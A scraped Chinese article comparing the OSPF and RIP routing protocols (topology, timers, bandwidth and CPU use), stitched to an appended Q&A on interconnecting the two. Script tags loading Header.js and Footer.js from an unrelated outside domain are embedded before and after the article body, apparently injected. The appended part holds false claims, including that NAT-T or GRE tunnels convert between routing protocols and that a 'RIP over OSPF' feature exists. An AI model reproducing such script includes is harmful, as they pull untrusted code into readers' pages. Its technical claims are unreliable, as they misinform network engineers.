OSPF协议与RIP协议比较

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>一 从网络结构看
     RIP的拓扑简单,适用于中小型网络。没有系统内外、系统分区、边界等概念,用的不是分类的路由。每一个节点只能处理以自己为头的至多16个节点的链,路由是依靠下一跳的个数来描述的,无法体现带宽与网络延迟。
     OSPF适用于较大规模网络。它把AS(自治系统)分成若干个区域,通过系统内外路由的不同处理,区域内和区域间路由的不同处理方法,引入摘要的概念,减少网络数据量的传输。OSPF对应RIP的"距离",引入了"权"(metric)的概念。OSPF还把其他协议路由或者静态或核心路由作为AS外部路由引入,处理能力相当大。
     RIP的原始版本不支持VLSM(RIP2支持),OSPF支持VLSM(可变长度子网掩码)

协议运行有差别 :
    RIP运行时,首先向外(直接邻居)发送请求报文,其他运行RIP的路由器收到请求报文后,马上把自己的路由表发送过去;在没收到请求报文时,定期(30秒)广播自己的路由表,在180秒内如果没有收到某个相邻路由器的路由表,就认为它发生故障,标识为作废,120秒后还没收到,将此路由删除,并广播自己的新的路由表。
    OSPF运行时,用HELLO报文建立连接,然后迅速建立邻接关系,只在建立了邻接关系的路由器中发送路由信息;以后是靠,是靠定期发送HELLO报文去维持连接,相对RIP的路由表报文来说这个HELLO报文小的多,网络拥塞也就少了。HELLO报文在广播网上没10秒发送一次,在一定时间(4倍于HELLO间隔)没有收到HELLO报文,认为对方已经死掉,从路由表中去掉,在LSDB中给它置位infintty(无穷大),并没有真正去掉它,以备它在起用时减少数据传输量,在它达到3600秒是真正去掉它。OSPF路由表也会重发,重发间隔为1800秒。
   
使用情况不同:
     一般来说,OSPF占用的实际链路带宽比RIP少,因为它的路由表是有选择的广播(只在建立邻接的路由器间),而RIP是邻居之间的广播。OSPF使用的CPU时间比RIP少,因为OSPF达到平衡后的主要工作是发送HELLO报文,RIP发送的是路由表(HELLO报文比路由表小的多)。OSPF使用的内存比RIP大,因为OSPF有一个相对大的路由表。RIP在网络上达到平衡用的时间比OSPF多,因为RIP往往发送/处理一些没用的路由信息。
 
文章来源于 http://www.cnblogs.com/zhangzs8896 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
Cisco OSPF (Open Shortest Path First) 和 RIP (Routing Information Protocol) 是两种常见的路由协议,它们在网络中各自扮演不同的角色。 1. OSPF: OSPF 是一种内部网关协议(IGP),设计用于大型和复杂的网络环境。它采用了链路状态路由算法,每个路由器维护一个完整的网络拓扑图,并通过洪泛LSA(Link State Advertisements)来共享网络信息。OSPF支持多区域设计,能提供无环路、高效和可扩展的路由选择。它优先级较高,一般适用于大规模企业网络或ISP网络。 2. RIP: RIP 是一个距离矢量路由协议,最初是为小型网络设计的,它简单易用但效率较低,不适用于大型网络,因为它的最大跳数限制(通常为15跳)会导致在网络规模增大时产生路由循环和慢收敛。 当需要在OSPF网络与RIP网络之间互通时,有以下几种情况: - **手动配置**: 可以在OSPF路由器上配置静态路由或者引入直连到RIP网络,反之亦然。 - **路由协议转换**(如Cisco的NAT-T或GRE隧道): 如果OSPF和RIP运行在不同的子网或网络间无法直接通信,可能需要使用这些技术将一种协议的数据封装成另一种协议进行转发。 - **使用三层交换机或路由器**: 一些设备提供了RIP over OSPF的功能,可以在同一个设备上同时运行这两种协议,从而简化了网络设计。 相关问题: 1. OSPF和RIP的主要区别是什么? 2. 如何在OSPF网络中引入RIP路由? 3. 使用NAT-T或GRE隧道时,具体是如何实现路由协议之间的通信转换的?
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